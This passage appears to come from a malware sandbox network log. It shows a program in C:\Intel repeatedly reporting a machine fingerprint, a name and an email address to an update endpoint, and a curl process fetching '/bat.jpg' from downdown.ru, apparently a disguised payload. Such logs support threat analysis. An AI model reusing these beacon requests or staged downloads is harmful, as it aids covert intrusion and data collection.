Jan 8, 2025 16:18:21.583473921 CET	1289	IN	Data Raw: 12 00 8d 4c 24 18 e8 c7 ed ff ff 80 7c 24 12 00 0f 85 3b 80 02 00 8d 8c 24 98 06 00 00 51 68 04 01 00 00 ff 15 38 23 48 00 8d 54 24 6c 52 8d 44 24 74 50 68 04 01 00 00 57 ff 15 20 23 48 00 8d 8c 24 a8 28 00 00 51 8d 94 24 b4 2a 00 00 52 8d 84 24 Data Ascii: L$\|$;$Qh8#HT$lRD$tPhW #H$(Q$*R$PL$pQ$RD$dP$Q$R$P$Q0#H3t$@f$bD$T3j\$ D$$jD$
Jan 8, 2025 16:18:21.807704926 CET	1289	IN	Data Raw: 08 74 22 8b 56 0c 8b 4e 04 8a 04 11 88 04 2f ff 46 0c 47 3b fb 72 e4 01 7e 10 8b c7 5f 83 56 14 00 5d c2 04 00 8b 56 04 8b 06 6a 00 8d 4c 24 10 51 68 00 00 01 00 52 50 ff 15 a0 21 48 00 8b 44 24 0c 85 c0 74 d1 89 46 08 c7 46 0c 00 00 00 00 eb b1 Data Ascii: t"VN/FG;r~_V]VjL$QhRP!HD$tFFVFFFVVDWW3f>#;Wf>t;~f>ukW_^"t ':W;uW3f_^u3u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49723	94.23.158.211	80	5512	C:\Intel\Trays\Trays.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:25.639173985 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:25.858334064 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:25 GMT Server: Apache Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 34 0d 0a 75 70 64 61 74 65 3d 30 3b 66 69 6e 61 6c 3d 30 3b 76 65 72 3d 3b 65 78 65 3d 3b 77 68 61 74 73 6e 65 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 24update=0;final=0;ver=;exe=;whatsnew=0
Jan 8, 2025 16:18:25.979943991 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:26.199096918 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 34 0d 0a 75 70 64 61 74 65 3d 30 3b 66 69 6e 61 6c 3d 30 3b 76 65 72 3d 3b 65 78 65 3d 3b 77 68 61 74 73 6e 65 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 24update=0;final=0;ver=;exe=;whatsnew=0
Jan 8, 2025 16:18:26.322587013 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:26.541860104 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 34 0d 0a 75 70 64 61 74 65 3d 30 3b 66 69 6e 61 6c 3d 30 3b 76 65 72 3d 3b 65 78 65 3d 3b 77 68 61 74 73 6e 65 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 24update=0;final=0;ver=;exe=;whatsnew=0
Jan 8, 2025 16:18:26.651190042 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:26.893091917 CET	344	IN	HTTP/1.1 403 Forbidden Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Jan 8, 2025 16:18:27.073425055 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:27.461566925 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:27.477853060 CET	344	IN	HTTP/1.1 403 Forbidden Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Jan 8, 2025 16:18:27.851994991 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:28.053752899 CET	344	IN	HTTP/1.1 403 Forbidden Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Jan 8, 2025 16:18:28.617456913 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:29.205591917 CET	344	IN	HTTP/1.1 403 Forbidden Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Jan 8, 2025 16:18:30.132776976 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:31.648447037 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:32.325486898 CET	344	IN	HTTP/1.1 403 Forbidden Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Jan 8, 2025 16:18:33.163441896 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:36.194030046 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:36.217690945 CET	344	IN	HTTP/1.1 403 Forbidden Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Jan 8, 2025 16:18:42.254945993 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 30 65 65 38 36 39 61 36 38 35 62 31 30 61 38 33 61 66 62 65 66 62 62 34 36 38 34 39 64 33 34 66 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=0ee869a685b10a83afbefbb46849d34f&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 16:18:45.429466009 CET	344	IN	HTTP/1.1 403 Forbidden Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Jan 8, 2025 16:19:04.117558956 CET	344	IN	HTTP/1.1 403 Forbidden Date: Wed, 08 Jan 2025 15:18:26 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49727	185.125.51.5	80	6988	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 16:18:33.516657114 CET	86	OUT	GET /bat.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
